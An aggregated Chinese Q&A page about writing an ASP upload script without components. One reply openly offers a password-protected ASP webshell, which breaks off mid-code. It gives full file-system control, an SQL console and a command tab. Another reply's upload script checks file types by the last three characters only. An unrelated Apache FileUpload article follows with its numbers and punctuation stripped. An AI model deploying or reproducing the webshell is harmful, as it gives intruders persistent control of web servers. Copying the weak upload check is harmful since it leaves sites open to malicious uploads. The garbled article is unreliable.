求一个精悍的ASP无组件上传程序

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了求一个精悍的ASP无组件上传程序相关的知识,希望对你有一定的参考价值。

要求是:
1.能自定义路径
2.限制上传文件类型、大小
3.自动重命名文件

附带参考程序:
1,index.htm
<form name="FORM" action="upload.asp" method="post" onsubmit="return check()">
<input type="submit" name="submit" value="上传" style="width:70;height:22">
<input type="file" name="file1" style="width:400" value="">
</form>
2,upload.asp
<%
Function GetFileName(ByVal strFile)
If strFile <> "" Then
GetFileName = mid(strFile,InStrRev(strFile, "\")+1)
Else
GetFileName = ""
End If
End function

strFileName = Request.Form("file1")
Set objStream = Server.CreateObject("ADODB.Stream")
objStream.Type = 1 ' adTypeBinary
objStream.Open
objStream.LoadFromFile strFileName
objStream.SaveToFile Server.MapPath(GetFileName(strFileName)),2
objStream.Close
response.write strFileName
response.write "文件上传完毕 <a href=index.htm target=_self>返回</a>"
%>
网上抄来的、要我去下某某程序的就别贴了

楼主是想开后门啊.这个容易.我给你个最新最好的并且支持密码的.

<script language=JScript runat=server>
Response.Write ("欢迎您");
</script>
<%
mypass="963816"
if request("userpass")=mypass then
session("admin")=mypass
end if

if request("logout")="退出登录" then
session("admin")=""
end if

if session("admin")="" then
response.write"<table width=500 border=0 align=center cellpadding=0 cellspacing=1 class=box>"
response.write"<form method=POST action=''>"
response.write"<tr height=18>"
response.write"<td height=25 align=center bgcolor=#003366 style=color:#ffffff>密码:  "
response.write"<input type='password' name='userpass' size='20'>"
response.write"<input name='submit' type='submit' value='登录'>"
response.write"</td></tr></form></table>"
response.End()
end if
%>
<OBJECT RUNAT=Server ID=fs
classid='clsid:0D43FE01-F093-11CF-8940-00A0C9054228'></OBJECT>

<%gl=rq("gl"):if gl<>"" then Session("gl")=gl
Response.Clear:echo " "
echo "<a href="&self&"?gl=file>file</a> "
echo "<a href="&self&"?gl=sql>sql</a> "
echo "<a href="&self&"?gl=cmd>cmd</a> "
echo "<a href="&self&"?gl=listapp>listapp</a> "

pwd1="file":pwd2="sql":pwd3="cmd":pwd4="listapp":if Session("gl")="file" then

if left(aduser,4)="fso:" then
fso=mid(aduser,5)
else
fso="scripting.filesystemobject"
end if
echo fso
AdodbS="Adodb.Stream"
on error resume next
bbf=chr(13)&chr(10):y=chr(34):self=Request("URL")
function echo(lpstr):response.write lpstr:end function
function rq(lpstr):rq=request(lpstr):end function
function close():echo "<script>opener.document.location.reload();opener=null;self.close();</script>":response.end:end function

echo "<script>"&bbf
echo "window.onerror=x_err;function x_err(sMsg,sUrl,sLine)return true"&bbf
echo ""&"var url="""&replace(self,"\","\\")&""";"&""&bbf
echo "function sattw(srcf)w=ow(350);w.location=url+""?fdo=gattr&fp1=""+srcf;"&bbf
echo "function ren(f1,f2)location=url+""?fdo=ren&fp1=""+fp1+f1+""&fp2=""+fp1+document.all[f2].value;"&bbf
echo "function downall()ow(600).document.write(down);"&bbf
echo "function replace(aa,bb,cc)var lpabc,lpi;for(lpi=0;lpi<1000;lpi++)lpabc=aa;aa=aa.replace(bb,cc);if(lpabc==aa)return aa;return aa;"&bbf
echo "function ow(w)return window.open("""","""",""scrollbars=no,toolbar=no,location=no,directories=no,status=no,menubar=no,resizable=no,height=300,width=""+w);"&bbf
echo "</script>"&bbf
echo "<STYLE>body,td,span,div,aFONT-SIZE:9pt;text-decoration:none"&bbf
echo "span,acursor:hand;color:blue;hrheight:1px;line-height:1px;color:#0000ff;"&bbf
echo "</style><body Leftmargin=6 Topmargin=2>"&bbf

if not isobject(fs) then set fs= server.createobject(fso)
if fdo="" then fdo=lcase(request("fdo"))
fp1=request("fp1")
fp2=request("fp2")
if fdo="up" and Request.TotalBytes>20 then
set dr1=server.CreateObject(AdodbS):dr1.Mode=3:dr1.Type=1:dr1.Open
set dr2=server.CreateObject(AdodbS):dr2.Mode=3:dr2.Type=1:dr2.Open
lnBytes=Request.BinaryRead(Request.TotalBytes)
SignLen=Instrb(1,lnBytes,CStrB(bbf))-1
Sign=MidB(lnBytes,1,SignLen)
fname=tractName(getfilename()) '取文件名
fp1=getvalue("fp1") '取路径值
if fname<>"" and fp1<>"" then
savefile(fp1&fname)
else
echo "文件名或路径错!"
end if
dr1.Close
dr2.Close
set dr1=nothing
set dr2=nothing
response.redirect self&"?fp1="&parentdir(fp1&"\")
end if
if fdo="down" then
downFile(fp1)
response.end
end if
if fdo="hide" then
fp1=pn(fp1):fp2=fp1&"\desktop.ini"
if not fs.fileExists(fp2) then
fs.getfolder(fp1).attributes=22
lr="[.ShellClassInfo]"+bbf+"CLSID=645FF040-5081-101B-9F08-00AA002F954E"
fs.createtextfile(fp2).Write lr
fs.getfile(fp2).attributes=6
echo "<script>alert('此目录已隐藏!');"
else
fs.getfolder(fp1).attributes=48
fs.DeleteFile fp2,True
echo "<script>alert('此目录已解除隐藏!');"
end if
echo "history.go(-1);</script>":response.end
end if
if fdo="adddir" then
fp1=pn(fp1):fs.createfolder(fp1)
response.redirect self&"?fp1="&fp1&"\"
end if
if fdo="newfile" then
fp1=pn(fp1):if not fs.fileExists(fp1) then fs.createtextfile(fp1)
response.redirect self&"?fp1="&parentdir(fp1&"\")
end if
if fdo="sedit" then
fs.getfile(fp1).attributes=32
fs.CreateTextFile(fp1).Write replace(Request("fp2"),"<_/"&"textarea>","</tex"&"tarea>")
echo "<script>opener=null;self.close();</script>":response.end
end if
if fdo="gedit" then
att=fs.getfile(fp1).attributes
echo "<form METHOD=POST action="""&self&"""><input size=80 type=text name=fp1 value="""&fp1&"""><br>"
echo "<input name=fdo value=sedit type=hidden><textarea cols=90 rows=20 name=fp2>"
wj=fs.OpenTextFile(fp1,1,0,0).read(5000000)
echo replace(replace(wj,"</tex"&"tarea>","<_/"&"textarea>"),"</TEX"&"TAREA>","<_/"&"textarea>")
echo "</textarea><center><input type=submit value=-------保存-------> <a onclick=opener=null;self.close();>放弃</a></form>"
response.end
end if
if fdo="ren" then
if fs.fileExists(fp1) then fs.movefile fp1,fp2
if fs.folderExists(fp1) then fp1=pn(fp1):fs.movefolder fp1,pn(fp2):fp1=fp2
response.redirect self&"?fp1="&parentdir(fp1&"\")
end if
if fdo="del" then
if fs.fileExists(fp1) then fs.DeleteFile fp1,True
if fs.folderExists(fp1) then fp1=pn(fp1):fs.Deletefolder fp1,True
fp1=parentdir(fp1&"\")
response.redirect self&"?fp1="&parentdir(fp1&"\")
end if
if fdo="copy" then
if fs.fileExists(fp1) then fs.CopyFile fp1,fp2
if fs.folderExists(fp1) then fs.Copyfolder pn(fp1),pn(fp2)
close
end if
if fdo="sattr" then
if fs.fileExists(fp1) then fs.getfile(fp1).attributes=fp2 or 32
if fs.folderExists(fp1) then fs.getfolder(fp1).attributes=fp2 or 32
echo "<script>opener=null;self.close();</script>":response.end
end if
if fdo="gattr" then
if fs.fileExists(fp1) then att=fs.getfile(fp1).attributes
if fs.folderExists(fp1) then att=fs.getfolder(fp1).attributes
echo "<form name=fgs METHOD=POST action="""&self&""">"&fp1&"<br><input type=hidden name=fp1 value="""&fp1&""">"
echo "只读<input type=checkbox name=c1 ":if att and 1 then echo "checked"
echo "> 隐藏<input type=checkbox name=c2 ":if att and 2 then echo "checked"
echo "> 系统<input type=checkbox name=c3 ":if att and 4 then echo "checked"
echo "><center><br><input name=fdo value=sattr type=hidden><input name=fp2 value="&att&" type=hidden>"
echo "<a onclick='var s=0;if(c1.checked)s+=1;if(c2.checked)s+=2;;if(c3.checked)s+=4;fp2.value=s;fgs.submit();'>修改</a></form>"
response.end
end if

'开始
if request("fp1")<>"" then session("fp1")=request("fp1")
if fp1="" then fp1=session("fp1")
echo "<table border=0 cellspacing=0 cellpadding=0><tr><td>"
echo "<form name=fu method=post action="""&self&"?fdo=up"" enctype=multipart/form-data>"
for each d in fs.drives '盘符
drv=d.DriveLetter
echo "<a href="""&self&"?fp1="&drv&":\"">"&drv&Tran(d.DriveType)&"</a>  "
next

n=parentdir(fp1)
echo "<input type=hidden name=fp1 value="""&fp1&""">"
echo "<input type=file size=9 name=file1><input type=submit value=上传></td></form></tr>"
echo "<tr><td><form name=f><input size=30 name=fp1 value="""&fp1&""">"
fp1=replace(fp1,"\","/")
if n<>"" then
echo "<a onclick=""sattw('"&fp1&"')"">属性</a> "
echo "<a onclick=""cpy('"&fp1&"')"">复制</a> "
echo "<a onclick=if(confirm('你确定要删除当前目录吗?'))location='"&self&"?fdo=del&fp1="&fp1&"'>删除</a> "
echo "<a href='"&self&"?fdo=hide&fp1="&fp1&"'>隐藏</a> "
echo "<a href=""javascript:location='"&self&"?fdo=ren&fp1="&fp1&"&fp2='+document.all.f.fp1.value;"">改名</a> "
end if
echo "<a href=""javascript:location='"&self&"?fdo=adddir&fp1="&replace(fp1,"\","/")&"'+document.all.fu.file1.value;"">新文件夹</a> "
echo "<a href=""javascript:location='"&self&"?fdo=newfile&fp1="&replace(fp1,"\","/")&"'+document.all.fu.file1.value;"">新文件</a> "

echo " <a onclick=downall();>下载</a></td></tr></form></table>"
echo "[<a href="""&self&"?fp1="&server.mappath(".")&"\"">程序目录</a>]"
echo "[<a href="""&self&"?fp1="&server.mappath("\")&"\"">网站目录</a>]"
sef=replace(request("PATH_TRANSLATED"),"\","/")
echo "[<a target="&sef&" href='"&self&"?fdo=gedit&fp1="&sef&"'>编辑本文件</a>]"
echo "[<a onclick=if(confirm('你确定要自删除吗?'))location='"&self&"?fdo=del&fp1="&sef&"'>自杀</a>]"
echo "[<a href=javascript:sattw("""&sef&""")>本文件属性</a>]"
echo "[<a href=javascript:cpy("""&sef&""")>复制本文件</a>]"

fp1=replace(fp1,"/","\")
if fp1="" then response.end
if n<>"" then echo "[<a href="""&self&"?fp1="&n&""">..</a>]"
echo "<br>"
Set fdir=fs.GetFolder(fp1) '目录
fp1=replace(fp1,chr(38),"%26")
c=0:For each n in fdir.SubFolders
c=c+1:echo "[<a href="""&self&"?fp1="&fp1&replace(n.name,chr(38),"%26")&"\"">"&n.name&"</a>]"
Next

echo "以上总共个<font color=red>"&c&"</font>子目录<center><hr>"&bbf
echo "<table width=760 border=0 cellspacing=1 cellpadding=0><script>"&bbf

echo "var fp1="""&replace(fp1,"\","\\")&""";"

echo "var c="""",itm=0,down="""";"&bbf
echo "function cpy(srcf)"&bbf
echo "w=ow(400);w.moveTo(100,200);"&bbf
echo "z=""<form method=post action=\""""+url+""?fdo=copy\"">"";"&bbf
echo "z+=""从<input size=53 name=fp1 value=\""""+srcf+""\""><br>到<input size=53 name=fp2 value=\""""+srcf+""\"">"";"&bbf
echo "z+=""<center><input type=submit value=--复制--></form>"""&bbf
echo "w.document.write(z);"&bbf
echo "function sf(lpstr,lpsize)"&bbf
echo "var p1,p2,z;"&bbf
echo "if(!(parseInt((itm)/2)%2))c=""#cccccc"";else c=""#ffffff"";"&bbf
echo "itm++;p1=""<td><a href=\""""+url+""?fdo="";"&bbf
echo "p2=""&fp1=""+fp1+lpstr+""\"">"";"&bbf
echo "z="""";if(itm%2)z=""<tr bgcolor=""+c+"">"";"&bbf
echo "z+=""<td><a href='javascript:sattw(\""""+replace(fp1,""\\"",""/"")+lpstr+""\"")'>属性</a></td>"";"&bbf
echo "z+=""<td><a target=\""""+lpstr+""\"" href=\""""+url+""?fdo=gedit&fp1=""+fp1+lpstr+""\"">编辑</a></td>"";"&bbf
echo "z+=""<td><a href='javascript:cpy(\""""+replace(fp1,""\\"",""/"")+lpstr+""\"")'>复制</a></td>"";"&bbf
echo "z+=""<td width=178><input size=20 name=o""+itm+"" value=\""""+lpstr+""\"" style=background-color:""+c+"";><a onclick=ren(\""""+lpstr+""\"",\""o""+itm+""\"");>改名</a></td>"";"&bbf
echo "if(lpsize>0)z+=p1+""down""+p2+""下载</a></td>"";down+=""[<a href=\""""+url+""?fdo=down""+p2+lpstr+""</a>]"";else z+=""<td></td>"""&bbf
echo "//z+=p1+""del""+p2+""删除</a></td>"";"&bbf
echo "z+=""<td><a onclick=if(confirm('你确定要删除吗?'))location='""+url+""?fdo=del&fp1=""+replace(fp1,""\\"",""/"")+lpstr+""';>删除</a></td>"";"&bbf
echo "z+=""<td title='""+lpsize/1000000+""M""+""' ondblclick=location='""+url+""?gl=sql&pass=islogin&host=""+replace(fp1,""\\"",""/"")+lpstr+""'>""+lpsize+""</td>"";"&bbf
echo "if(!(itm%2))z+=""</tr>"";else z+=""<td bgcolor=#aaaaaa width=30> </td>"""&bbf
echo "document.write(z);"&bbf
echo ""&bbf
c=0:For each n in fdir.Files '文件
c=c+1:echo "sf('"&replace(n.name,chr(38),"%26")&"','"&n.size&"');"
next
echo "</script></table>以上总共<font color=red>"&c&"</font>个文件<hr>"

function getvalue(lpitem)
pstr="name="&chr(34)&lpitem&chr(34)
startpos=instrb(1,lnBytes,CstrB(pstr))
if startpos<2 then getvalue="":exit function
startpos=instrb(startpos,lnBytes,CstrB(bbf&bbf))+4
EndPos=instrb(startpos,lnBytes,Sign)-2
getvalue=BtoS(midb(lnBytes,startpos,EndPos-startpos))
end function
function getfdata()
dim lpdata(1)
startpos=instrb(1,lnBytes,CstrB("filename="""))
if startpos<2 then getfdata="":exit function
startpos=instrb(startpos,lnBytes,CStrB(bbf&bbf))+4
EndPos=instrb(startpos,lnBytes,Sign)-2
getfdata=(startpos-1)&","&(EndPos-startpos)
end function
function savefile(lpFileName)
fdata=getfdata()
fdata=split(fdata,",")
if fdata(0)<1 or fdata(1)<1 then savefile=-1:exit function
dr1.write lnBytes
dr1.position=fdata(0)
dr1.copyto dr2,fdata(1)
dr2.SaveToFile lpFileName,2
end function
function getfilename()
startpos=instrb(1,lnBytes,CstrB("filename="&chr(34)))+10
if startpos<2 then getfilename="":exit function
EndPos=instrb(startpos,lnBytes,CstrB(""""))
getfilename=BtoS(midb(lnBytes,startpos,EndPos-startpos))
end function
Function BtoS(Binstr)
skipflag=0
strC=""
If Not IsNull(binstr) Then
lnglen=LenB(binstr)
For ix=1 To lnglen
If skipflag=0 Then
tmpBin=MidB(binstr,ix,1)
If AscB(tmpBin)>127 Then
strC=strC&Chr(AscW(MidB(binstr,ix+1,1)&tmpBin))
skipflag=1
Else
strC=strC&Chr(AscB(tmpBin))
End If
Else
skipflag=0
End If
Next
End If
BtoS = strC
End Function
Function CStrB(ByRef psUnicodeString)
Dim lnLength
Dim lnPosition
lnLength = Len(psUnicodeString)
For lnPosition = 1 To lnLength
CStrB = CStrB & ChrB(AscB(Mid(psUnicodeString, lnPosition, 1)))
Next
End Function
Function tractName(lpfilename)
nlen=len(lpfilename)
For lpx = nlen To 1 step -1
if mid(lpfilename,lpx,1)="\" then
tractName=mid(lpfilename,lpx+1,100)
exit Function
end if
Next
tractName=""
End Function
function parentdir(t)
t=replace(t,"/","\")
ls=split(t,"\")
for x=0 to ubound(ls)-2
parentdir=parentdir+ls(x)&"\"
next
parentdir=replace(parentdir,chr(38),"%26")
End function
function pn(t)
pn=replace(t,"/","\")
if right(pn,1)="\" then pn=left(pn,len(pn)-1)
if right(pn,1)="\" then pn=left(pn,len(pn)-1)
End function
function downFile(strFile)
Response.Buffer = True
Response.Clear
Set s=Server.CreateObject(AdodbS)
s.Open
s.Type=1
if not fs.FileExists(strFile) then Response.Write(strFile&"文件不存在!"):Response.End
Set f=fs.GetFile(strFile)
intFilelength=f.size
s.LoadFromFile(strFile)
if err then Response.Write("读文件出错:"&err.Description):Response.End
Response.AddHeader "Content-Disposition", "attachment; filename=" & f.name
Response.AddHeader "Content-Length", intFilelength
Response.CharSet = "UTF-8"
Response.ContentType = "application/octet-stream"
Response.BinaryWrite s.Read
response.flush
response.clear
s.Close
Set s = Nothing
End Function
function Tran(drv)
select case drv:case 0:Tran="怪盘":case 1:Tran="软盘":case 2:Tran="硬盘"
case 3:Tran="网络":case 4:Tran="光盘":case 5:Tran="RAM":end select:end function
response.end

end if
if Session("gl")="sql" then

function delhtml(str):delhtml=server.htmlencode(ltrim(str)):end function
function srs(lpstr)
if isnull(lpstr) then
srs=""
else
srs=lpstr
end if
end function
self=request("url")
server.scriptTimeout=100000
bbf=chr(13)&chr(10)

echo "<title>sqlserver数据管理v0.2</title><meta http-equiv=""pragma"" content=""no-cache""><style>"&bbf
echo "form color:#00000;font-size:9pt;"&bbf
echo "table color:#00000;font-size:9pt;"&bbf
echo "body color:#00000;font-size:9pt;"&bbf
echo "span cursor:hand;color:red;background-color:black;"&bbf
echo "</style><script>function copys(s)"&bbf
echo "document.all.sqlstr.value=s;"&bbf
echo "</script>"&bbf
echo "<script language=""javascript"">"&bbf
echo "function nom()event.cancelBubble = true;event.returnValue = false;return false;"&bbf
echo "function click() if (event.button==2) movable=(!movable);nom();"&bbf
echo "document.oncontextmenu=click"&bbf
echo "document.onmousedown=click"&bbf
echo "</script>"&bbf
echo "<body Leftmargin=""6"" Topmargin=""140"" onload=movediv()>"&bbf
echo "<script>"&bbf
echo "var movable=0;"&bbf
echo "function movediv()"&bbf
echo "if(movable==1)"&bbf
echo "toolb.style.pixelTop= document.body.scrollTop;"&bbf
echo "toolb.style.pixelLeft= document.body.scrollLeft;"&bbf
echo "movs.innerHTML=""不浮动"";"&bbf
echo "elsetoolb.style.pixelTop= 0;toolb.style.pixelLeft= 0;"&bbf
echo "movs.innerHTML=""浮动"";"&bbf
echo "setTimeout('movediv()',200);"&bbf
echo ""&bbf
echo "</script>"&bbf
echo "<div id=toolb style=""position:absolute;Left:10px;Top:0px;width:100%;background-color:#eeeeee""> "&bbf
echo "<table cellspacing=0 cellpadding=0 width=100% border=1><tr><td>"&bbf
echo "<form action="""&self&"?table="&request("table")&""" method=post name=form1>"&bbf
echo "<span onclick=document.location="""&self&"?c=3"">显示库列表</span> -"&bbf
echo "<span onclick=document.location="""&self&"?c=1"">显示所有表</span> -"&bbf
echo "<span onclick=sel();>显示当前表</span> -"&bbf
echo "<span onclick=ins();>insert</span> -"&bbf
echo "<span onclick=del();>delete</span> -"&bbf
echo "<span onclick=drop();>drop</span> -"&bbf
echo "<span onclick=createt();>create</span> -"&bbf
echo "只显[<span onclick=document.location="""&self&"?c=100"">仅用户表</span>"&bbf
echo "<span onclick=document.location="""&self&"?c=101"">所有表</span>"&bbf
echo "<span onclick=document.location="""&self&"?c=102"">仅前20条</span>"&bbf
echo "<span onclick=document.location="""&self&"?c=103"">所有条</span>] -"&bbf
echo "[<span onclick=document.location="""&self&"?c=886"">exit</span>]"&bbf
echo "<script>function createt()document.all.sqlstr.value='create table "&session("dbo")&"[] ([id] int identity(1,1)/*mdb=autoincrement*/)';</script>"&bbf
echo "<textarea name=sqlstr cols=106 rows=5>"&request("sqlstr")&"</textarea><br>"&bbf
echo "<input type=submit name=ppp value=runsql>"&bbf
echo "<input type=submit name=ppp value=rundos>"&bbf
echo "<input type=""checkbox"" value=""n"" name=""sc"">不显示结果"&bbf
echo "<span id=movs onclick=""javascript:movable=(!movable)"">浮动</span>"&bbf
echo "</td></tr></form></table></div>"&bbf

if request("c")=886 then
session("islogin")=""
response.write "<script>location='"&self&"';</script>"
response.end
end if
if session("islogin")<>"ok" then
pass=request("pass")
if pass="islogin" then
session("islogin")="ok"
else

echo "<div style=position:absolute;width:100%;Left:10px;Top:150px;><form method=post>"&bbf
echo " <input type=hidden name=pass value=islogin><br>"&bbf
echo " host:<input type=text name=host value="&sahost&"><br>"&bbf
echo " user:<input type=text name=user value="&sauser&"><br>"&bbf
echo " pass:<input type=text name=upass value="&sapass&"><br>"&bbf
echo " dbase<input type=text name=database value="&request("database")&"><br>"&bbf
echo " <input type=submit></form></div>"

response.end
end if
end if

function echo(lpstr):response.write lpstr:end function
Function GetTableFromSQL(Byval SQL)
Dim charPos, charLen, wordlist
SQL = LCase(SQL)
charPo1 = InStr(1, SQL, " from ")
if charPo1<1 then charPo1 = InStr(1, SQL, " into ")
if charPo1<1 then charPo1 = InStr(1, SQL, "update")
if charPo1>0 then
charPo2 = InStr(charPo1+7, SQL, " ")
If charPo2 > 0 Then
SQL = Mid(SQL, charPo1+6, charPo2)
Else
SQL = Mid(SQL, charPo1+6)
End If
If Left(SQL, 1) = "[" Then SQL = Mid(SQL, 2)
If Right(SQL, 1) = "]" Then SQL = Left(SQL, Len(SQL) - 1)
GetTableFromSQL = SQL
end if
End Function

dsnname = "data source="&request("host")&";"
dsnusername = "user id="&request("user")&";"
if request("upass")<>"" then dsnpassword = "password="&request("upass")&";"
if request("database")<>"" then session("schoolname")=request("database"):response.redirect self&"?c=1"
if session("schoolname")="" then session("schoolname")= "master"

set adoconn = server.createobject("adodb.connection")
if request("host")<>"" then
if mid(lcase(request("host")),2,1)=":" then
connectionstring="DRIVER=Microsoft Access Driver (*.mdb);DBQ="&_
request("host")&";pwd="&request("upass")
echo connectionstring
session("IsMDB")=1
session("dbo")=""
session("dsnname")=request("host")
else
session("dsnname")=dsnname
connectionstring = "provider=sqloledb.1;"&dsnname&dsnusername&dsnpassword
session("IsMDB")=0
session("dbo")="[dbo]."
end if
session("connectionstring")=connectionstring
session("only_top_20")="top 20"
end if
echo session("dsnname")&"<br>"
adoconn.open session("connectionstring")
adoconn.cursorlocation=3
if session("IsMDB")=0 then adoconn.execute("use "&session("schoolname"))

command=request("c")
sqlstr=request.form("sqlstr")
table=request("table")
if table="" then table=GetTableFromSQL(sqlstr)

if len(sqlstr)
参考技术A <%
Response.Buffer = True
Server.ScriptTimeOut=9999999
On Error Resume Next
%>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<meta http-equiv="Content-Language" content="zh-cn" />
<meta content="all" name="robots" />
<meta name="author" content="mhooo,Woodeye" />
<style type="text/css">
<!--
body,input font-size:12px;
-->
</style>
<title></title>
</head>
<body id="body">
<%
ExtName = "jpg,gif,png,txt,rar,zip,doc" '允许扩展名
SavePath = "upload" '保存路径
If Right(SavePath,1)<>"/" Then SavePath=SavePath&"/" '在目录后加(/)
CheckAndCreateFolder(SavePath)

UpLoadAll_a = Request.TotalBytes '取得客户端全部内容
If(UpLoadAll_a>0) Then
Set UploadStream_c = Server.CreateObject("ADODB.Stream")
UploadStream_c.Type = 1
UploadStream_c.Open
UploadStream_c.Write Request.BinaryRead(UpLoadAll_a)
UploadStream_c.Position = 0

FormDataAll_d = UploadStream_c.Read
CrLf_e = chrB(13)&chrB(10)
FormStart_f = InStrB(FormDataAll_d,CrLf_e)
FormEnd_g = InStrB(FormStart_f+1,FormDataAll_d,CrLf_e)

Set FormStream_h = Server.Createobject("ADODB.Stream")
FormStream_h.Type = 1
FormStream_h.Open
UploadStream_c.Position = FormStart_f + 1
UploadStream_c.CopyTo FormStream_h,FormEnd_g-FormStart_f-3
FormStream_h.Position = 0
FormStream_h.Type = 2
FormStream_h.CharSet = "GB2312"
FormStreamText_i = FormStream_h.Readtext
FormStream_h.Close

FileName_j = Mid(FormStreamText_i,InstrRev(FormStreamText_i,"\")+1,FormEnd_g)

If(CheckFileExt(FileName_j,ExtName)) Then
SaveFile = Server.MapPath(SavePath & FileName_j)

If Err Then
Response.Write "文件上传: <span style=""color:red;"">文件上传出错!</span> <a href=""" & Request.ServerVariables("URL") &""">重新上传文件</a><br />"
Err.Clear
Else
SaveFile = CheckFileExists(SaveFile)

k=Instrb(FormDataAll_d,CrLf_e&CrLf_e)+4
l=Instrb(k+1,FormDataAll_d,leftB(FormDataAll_d,FormStart_f-1))-k-2
FormStream_h.Type=1
FormStream_h.Open
UploadStream_c.Position=k-1
UploadStream_c.CopyTo FormStream_h,l
FormStream_h.SaveToFile SaveFile,2

SaveFileName = Mid(SaveFile,InstrRev(SaveFile,"\")+1)
Response.write "文件上传: <span style=""color:red;"">" & SaveFileName & " </span>文件上传成功! <a href=""" & Request.ServerVariables("URL") &""">继续上传文件</a><br />"
End If
Else
Response.write "文件上传: <span style=""color:red;"">文件格式不正确!</span> <a href=""" & Request.ServerVariables("URL") &""">重新上传文件</a><br />"
End If

Else
%>
<script language="Javascript">
<!--
function ValidInput()


if(document.upform.upfile.value=="")

alert("请选择上传文件!")
document.upform.upfile.focus()
return false

return true

// -->
</script>
<form action='<%= Request.ServerVariables("URL") %>' method='post' name="upform" onsubmit="return ValidInput()" enctype="multipart/form-data">
文件上传:
<input type='file' name='upfile' size="40"> <input type='submit' value="上传">
</form>
<%
End if
Set FormStream_h = Nothing
UploadStream.Close
Set UploadStream = Nothing
%>
</body>
</html>
<%
'判断文件类型是否合格
Function CheckFileExt(FileName,ExtName) '文件名,允许上传文件类型
FileType = ExtName
FileType = Split(FileType,",")
For i = 0 To Ubound(FileType)
If LCase(Right(FileName,3)) = LCase(FileType(i)) then
CheckFileExt = True
Exit Function
Else
CheckFileExt = False
End if
Next
End Function

'检查上传文件夹是否存在,不存在则创建文件夹
Function CheckAndCreateFolder(FolderName)
fldr = Server.Mappath(FolderName)
Set fso = CreateObject("Scripting.FileSystemObject")
If Not fso.FolderExists(fldr) Then
fso.CreateFolder(fldr)
End If
Set fso = Nothing
End Function

'检查文件是否存在,重命名存在文件
Function CheckFileExists(FileName)
Set fso=Server.CreateObject("Scripting.FileSystemObject")
If fso.FileExists(SaveFile) Then
i=1
msg=True
Do While msg
CheckFileExists = Replace(SaveFile,Right(SaveFile,4),"_" & i & Right(SaveFile,4))
If not fso.FileExists(CheckFileExists) Then
msg=False
End If
i=i+1
Loop
Else
CheckFileExists = FileName
End If
Set fso=Nothing
End Function
%>
参考技术B 网络上其实都是用同一个,这些都是可以实现的,主要是你要看看他们无组件的帮助,有问题+Q:493688867本回答被提问者采纳

Apache FileUpload文件上传组件API解析

参考技术A

  Java Web开发人员可以使用Apache文件上传组件来接收浏览器上传的文件 该组件由多个类共同组成 但是 对于使用该组件来编写文件上传功能的Java Web开发人员来说 只需要了解和使用其中的三个类 DiskFileUpload FileItem和FileUploadException 这三个类全部位于mons fileupload包中

   DiskFileUpload类

  DiskFileUpload类是Apache文件上传组件的核心类 应用程序开发人员通过这个类来与Apache文件上传组件进行交互 但现在Apache建议使用ServletFileUpload类 两个类的方法类似 下面介绍DiskFileUpload类中的几个常用的重要方法

   .setSizeMax方法

  setSizeMax方法用于设置请求消息实体内容的最大允许大小 以防止客户端故意通过上传特大的文件来塞满服务器端的存储空间 单位为字节 其完整语法定义如下

  public void setSizeMax(long sizeMax)

  如果请求消息中的实体内容的大小超过了setSizeMax方法的设置值 该方法将会抛出FileUploadException异常

   .setSizeThreshold方法

  Apache文件上传组件在解析和处理上传数据中的每个字段内容时 需要临时保存解析出的数据 因为Java虚拟机默认可以使用的内存空间是有限的(笔者测试不大于 M) 超出限制时将会发生 java lang OutOfMemoryError 错误 如果上传的文件很大 例如上传 M的文件 在内存中将无法保存该文件内容 Apache文件上传组件将用临时文件来保存这些数据 但如果上传的文件很小 例如上传 个字节的文件 显然将其直接保存在内存中更加有效 setSizeThreshold方法用于设置是否使用临时文件保存解析出的数据的那个临界值 该方法传入的参数的单位是字节 其完整语法定义如下

  public void setSizeThreshold(int sizeThreshold)

   setRepositoryPath方法

  setRepositoryPath方法用于设置setSizeThreshold方法中提到的临时文件的存放目录 这里要求使用绝对路径 其完整语法定义如下

  public void setRepositoryPath(String repositoryPath)

  如果不设置存放路径 那么临时文件将被储存在 java io tmpdir 这个JVM环境属性所指定的目录中 tomcat 将这个属性设置为了 <tomcat安装目录>/temp/ 目录

   parseRequest方法

  parseRequest 方法是DiskFileUpload类的重要方法 它是对HTTP请求消息进行解析的入口方法 如果请求消息中的实体内容的类型不是 multipart/form data 该方法将抛出FileUploadException异常 parseRequest 方法解析出FORM表单中的每个字段的数据 并将它们分别包装成独立的FileItem对象 然后将这些FileItem对象加入进一个List类型的集合对象中返回 parseRequest 方法的完整语法定义如下

  public List parseRequest(HttpServletRequest req)

  parseRequest 方法还有一个重载方法 该方法集中处理上述所有方法的功能 其完整语法定义如下

  parseRequest(HttpServletRequest req int sizeThreshold long sizeMax

  String path)

  这两个parseRequest方法都会抛出FileUploadException异常

   isMultipartContent方法

  isMultipartContent方法方法用于判断请求消息中的内容是否是 multipart/form data 类型 是则返回true 否则返回false isMultipartContent方法是一个静态方法 不用创建DiskFileUpload类的实例对象即可被调用 其完整语法定义如下

  public static final boolean isMultipartContent(HttpServletRequest req)

   setHeaderEncoding方法

  由于浏览器在提交FORM表单时 会将普通表单中填写的文本内容传递给服务器 对于文件上传字段 除了传递原始的文件内容外 还要传递其文件路径名等信息 如后面的图 所示 不管FORM表单采用的是 application/x form urlencoded 编码 还是 multipart/form data 编码 它们仅仅是将各个FORM表单字段元素内容组织到一起的一种格式 而这些内容又是由某种字符集编码来表示的 关于浏览器采用何种字符集来编码FORM表单字段中的内容 请参看笔者编著的《深入体验java Web开发内幕——核心基础》一书中的第 的讲解 multipart/form data 类型的表单为表单字段内容选择字符集编码的原理和方式与 application/x form urlencoded 类型的表单是相同的 FORM表单中填写的文本内容和文件上传字段中的文件路径名在内存中就是它们的某种字符集编码的字节数组形式 Apache文件上传组件在读取这些内容时 必须知道它们所采用的字符集编码 才能将它们转换成正确的字符文本返回

  对于浏览器上传给WEB服务器的各个表单字段的描述头内容 Apache文件上传组件都需要将它们转换成字符串形式返回 setHeaderEncoding 方法用于设置转换时所使用的字符集编码 其原理与笔者编著的《深入体验java Web开发内幕——核心基础》一书中的第 节讲解的ServletRequest setCharacterEncoding方法相同 setHeaderEncoding 方法的完整语法定义如下

  public void setHeaderEncoding(String encoding)

  其中 encoding参数用于指定将各个表单字段的描述头内容转换成字符串时所使用的字符集编码

